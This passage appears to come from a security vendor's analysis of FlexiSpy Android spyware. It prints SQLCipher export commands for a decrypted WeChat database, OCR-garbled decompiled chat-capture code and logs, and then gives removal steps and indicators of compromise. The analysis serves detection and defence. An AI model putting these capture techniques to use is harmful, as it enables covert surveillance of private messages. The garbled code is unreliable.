ATTACH DATABASE "decrypted_database.db" AS decrypted_database KEY "";
SELECT sqlcipher_export("decrypted_database");

DETACH DATABASE decrypted_database;

The decrypted database file decrypted_database.db is located in folder /data/misc/adn/com.tencent.mm/.

At this point, you can open decrypted_database.db with SQLite Expert Personal tool as follows. It contains all chat
messages in Wechat.

Database: decrypted_database ~ File: P hat\decrypted_database.db SQite library: sqlite3.dll 3.18.0 [FTS3 FTS4 FTS5 RTREE]  Style: |Iceberg Classico ~
[ main «| [Dotobese | Data  DDL Design SOL
[ decpied datebase |
: Jj g:PayRemrd Databases

] AfRecord Database Status il Name File Size Tables Views Indexes Triggers
[T ABTestinfo b main | Connected p hat{decrypted_database.db] 157120) 143 0| 204 0
[T ABTestltem
[T AddContactAntispamTicket
T addi_upload? Database properties Library/Session/Connection properties
[ appattach Name Value Modified || | | Name Value Modified =
| sppbrandmessage » application id |0 » automatic_index on
= ipplaf” auto_vacuum | none busy_timeout 3000
ﬁ A:ES;ESEQE cache size -2000 cache_spill 1765
7 BockupMoveDeviceMoveTime collation_list | [BINARY], INOCASEL [RTRIM] case_sensitive_like off
I BockupPcRecoverSessionlnfo encoding uTF-8 cell_size_check off
7] BackupPcRecoverTaginfo foreign keys | on checkpoint fullfsyne | off
7] BizChatConversation freelist count |0 compile_optiens [COMPILER=msvc-1800], [DEFAULT_SYNCHRONOUS=2],
[T BizChatinfo ook i [DEFAULT_WAL SYNCHRONOUS=2]

[ENABLE_COLUMN_METADATA], [ENABLE FTS3]

[T bizchatr

=) B”Zhalviagf y journal_size_fimit | -1 [ENABLE_FTS3_PARENTHESIS], [ENABLE FT54]

[EE) B‘IG‘EMY I‘i’” © legacy file_format | off [ENABLE _FTS5], [ENABLE_JSON1], [ENABLE_RTREE],

o Bus (a serlnfo ma_page.court. | 10737213 [SOUNDEX], [SYSTEM_MALLOC], [THREADSAFE=1]
izEnterprise

ﬁ Pt P AT 0 data_version 2

= g page_count 130 defer_foreign_keys off

[T bottlecontact page size 1024 fullfsync oft

[T bottleconversation schema_version | 249 ignore_check_constraints |off

[T bottleinfol user_version 0 locking_mode normal

[T bottlemessage writable_schema | off query_only off

[T CardMsglnfo read_uncommitted off

[T chatroom recursive_triggers off

L] chattingbginfo reverse_unordered_selects  off

L] contact secure_delete off

[ ContactCmdBuf <o _beap it 5

7 ContactLabel . al

[T ContactLabelCache - S/NCAONOE B -

Figure 22. The decrypted database of Wechat in SQLite Expert Personal tool

Next, the program could start reading the decrypted database decrypted_database.db, and execute SQL query to
get chat message record. The following is some key code snippet.



public static ist captureNewEvents
if (WeChatCapturingSelper.LOGV) {
FxLog.v("WeChatCapturingHelper”,

argd, long argll, long argl?,

argld, ImParameters argls,

ase arglé,

argl?) {

tureNewEvents # ENTER... refld: " + argl0);

} SELECT msgId, m.msgSvrld, createTime, talker, m.conten
execute SQL sentence to get chat message record. ON m.talker = c.username LEFT JOIN chatroom ON
chatroomname = m.talker WHERE mi.type

o r v2 IN (1, 43, 48,3,34,62) AND msgld > ? AND msgld <=2
if(argld ORDER BY msgld DESC
try {

v2 = argl4.frawguery|(feChatCapturingHelper. gecQueryStacement (], new st
1f(v2 1= null) [
w7 =|WeChatCapturingHelper.keepConversation{argld, argd, v2, arglS, argld, argl7):

ing[]{argl0 + "", argl2 + ""});

Figure 23. The function captureNewEvents

The following is the key code snippet of the function keepConversation.

private static Arraylist<NeChatData> keepConversation(SQLiteDatabase db, String writablePath, Cursor cursor, InParamsters imParameters, SQLiteDatabase avatarDatabase, String currentOwner) {
Arraylist<WeChatData> datalist = new Arraylist(};
Direction direction = Direction.UNKNOWN;
String senderld = null;
SimpleDateFormat simpleDateFormat = new SimpleDateFormat(”dd
LocationInfo locationInfo = null;
if (cursor.moveTolast()) {
if (LoGv) {
FxLog.m82v(TAG, "keepConversation # ENTER While loop...

yy HHzmm:ss");

3 Get ownerUid:[xx000<] and ownertlame:[xo000cx]

do {
ArraylistcStrings participantArray; /

Iterator i%;
OunerInfo ownerInfo - BetOwnerinfo(db, writableath, avatarDatabase, currentOwner, imParameters.getapplinuxUsertd()};]
WeChatData [weChatData = new wWeChatData()
SenderInfo senderInfo = new SenderInfo();
ConversationInfo conversationInfo = new ConversationInfo();
ArraylistcAttachment> attachments = new ArrayList();
boolean canAdd = true;
int isSend = cursor.getInt(cursor.getColumnIndex( COLUMN_ISSEND));
if (LoGV) {

FxLog.m82v(TAG, "keepConversation # isSend:” + isSend);

It's a customed class that formats data of chat.

)
}
if (isSend =

1 {
direction = Directien.OUT;
} else {
direction = Directien.IN; / Get the chat message content.
3
¥
String text = fursor.getString(cursor.getColumnIndex("content"));

String conversationId = cursor.getString(cursor.getColumnIndex(COLUMN_TALKER));
String conversationName = cursor.getString(cursor.getColumnIndex(COLUMN_NICKNAME));
int msgType = cursor.getInt(cursor.getColumnIndex( type”));

long time = cursor.getLong(cursor.getColumnIndex(COLUMN_CREATE_TIME));

long msgSvrId = cursor.getlong(cursor. getColumnIndex(COLUMN_MSGSVRID) ) ;

String dateTime = simpleDateFormat.format(new Date(time));

String memberList = cursor.getString(cursor.getColumnIndex(COLUMN_MEMBER LTST));

Figure 24. The key code snippet of the function keepConversation

The function toString() of the class WechatData, which includes chat message text, timestamp, sender,
participant(receiver),etc.

public toString () {

er();

v2.append {7

v "+ this.textRepressntation);

v2.append |’ '+ this.dsta);

v2.append | ' + this.dateTime};

v2.append (" " + this.senderInfo.getSenderUid() + '|" + this.senderInfo.getSenderName()):
v2.append | '+ this. Info.toString()):

v = this.part.
while (v0.hasNext

ants.iterator();

" + v0.next().toString ()):

harelosationData.getlatitude () != 0) {
+ this.sharelocationData.getlatitude () + ," + this.sharelocationDate.getlongitude() + ')

+ this.sharelocationData.getPlacelame());

i

if (this.attackments != mull ss this.attachments.size() > 0 s this.attackments.ger(0) != null) [

v2.append([attachments: | + this. - .get(0). () + " " + this.a b get (0). 03z

ne: '| + this.ovnerData.toString());

return v2.toString();

Figure 25. The function toString() of class WechatData

The following is the log file from logcat. We can see the chat message text is “SS$S testwechat” tested by me.

V/WeChatCapturingHelper( 1308): (rid:83|WeChatCaptureTnread) keepConversation # msgType: 1, text: [E85 testwecnat] msgSvrId: 4142047058102555392, isGroupChat: false



Figure 26. The log file including the chat message tested.

I/WeChatCapturingHelper( 1308): (tid:83|WeChatCaptureThread) Rdding WeChatData:
I/WeChatCapturingHelper( 1308): textRepresentation: 1

/—' The chat message sent by owner.
I/WeChatCapturingHelper( 1308): text:

I/WeChatCapturingHelper( 1308): dateTime: 17/05/17 06:35:35
I/WeChatCapturingHelper( 1308): sender: Sl | S Recevier to the chat message.

I/WeChatCapturingHelper( 1308): conversation: ConversationInfo { €: 5K, Id: wxid 6351103510513, PicturePath: null, Status: null

I/WeChatCapruringHelper( 1308): participant: [Participant { Name: 2<, Uid: wxid 6351103510513, Contact: null, Status: null, PicPath: }

I/WeChatCapturingHelper( 1308): ownerData: OwnerInfo { Name: MENSWEL:, Uid: «mmiWSNe Contact: null, ProfilePicPath: , Status: nulltoken: null }

Figure 27. The log file including chat message and participant

From above analysis, Flexispy can spy the chat message of Wechat, the chat message text “$SSS$ testwechat” is
corresponding with that one in the screenshot of sending chat message in Wechat.

Summary

The following is the list of app spy supported by FlexiSpy for android.



v [} capture

2 audio

# browserurl
f# calendar
# calllog

f# callrecorder
1 camera
2 chrome
# core

£ email

7} facebook
2 hangouts
i hike

f# instagram
3 kik

1 line

# location
# mms

# password

Cffaa ]

tt simchange
# sms

tH snapchat
1 telegram
£ tinder

# viber

H wa

2 wallpaper

# yahoo

Figure 28. The list of app spy supported

We can see the IM apps supported includes Facebook, Hangouts, Hike, Instagram, Line, QQ, Skype, Snapchat,
Telegram, Tinder, Viber, WhatsApp, WeChat. They all are the most popular IM software. Besides, FlexiSpy for
android can spy on camera, email, yahoo, browser, audio, chrome, calendar, etc.

Part 5: Summary and Solution

Summary

Through the previous four parts of detailed analysis of FlexiSpy for android, we can see FlexiSpy for android is all-
in-one spyware and designed sophisticatedly and very complicated. The spy app supports full IM tracking, VolP call
recording& live call interception, it also can spy on messages, GPS, Multimedia, Internet, Applicaions, etc.

In order to support all spy features, it’s required that the android device is rooted. The spy app setups the startup
script. When the device is reboot, the startup script could be executed to start some daemon processes, we have
analyzed these daemon processes in part 2. FlexiSpy uses FileObserver to monitor database file and shared
preferences file in private folder in IM apps. Generally, in IM software on mobile device the chat messages are
stored as database file. Some databases might not be encrypted like Skype app, it’s easy to execute some SQL
sentences to gain the sensitive info related to chat message after rooting the android device. Other databases
might be encrypted like WeChat app, it seems that it’s more secure, but the private key is still calculated via
reversing engineering the IM app. Once the private key is got, you can decrypt the database using it.



Even when | uninstall FlexiSpy for android app (package: com.android.systemupdate), the spy activity is always
ongoing. | tested Skype and WeChat app after uninstall the spy app “com.android.systemupdate”, it’s still
successful to monitor the chat message for Skype and WeChat. In part 4, we can see the spy functionality is in
these daemon processes. The working directory of FlexiSpy for Android is /data/misc/adn/. The list of files in folder

/data/misc/adn/ is shown below.



ge- jar
tainer_infi

libfxril
Libfxtm
1libf:
libkma.
libkmb.
liblame

RN
(ol R

Figure 1. The list of files in folder /data/misc/adn/



The file fx.log in the folder /data/misc/adn/ is the log of FlexiSpy for android.

For normal users, if you found the file fx.log in folder /data/misc/adn/, it can confirm your android device is being
spied by FlexiSpy for android, you can follow the steps below to remove FlexiSpy.

1. Uninstall package com.android.systemupdate.
2. Remove the folder /data/misc/adn and the script files /system/su.d/0000adam.sh and
/system/etc/install-recovery-2.sh at root shell.

3.

Figure 2. The list of files in the folder /data/dalvik-cache/

Solution

The spy app sample is detected by Fortinet Antivirus signature Android/Kresoc.Altr.bdr.

loCs

hxxp://test-client.mobilefonex.com

hxxp://client.mobilefonex.com

Hash

SHA256: 2ale5a7dafa54a23fe9050f1fdd1286d3bdfb75a80a90cafebfdbbc451f4f9a4
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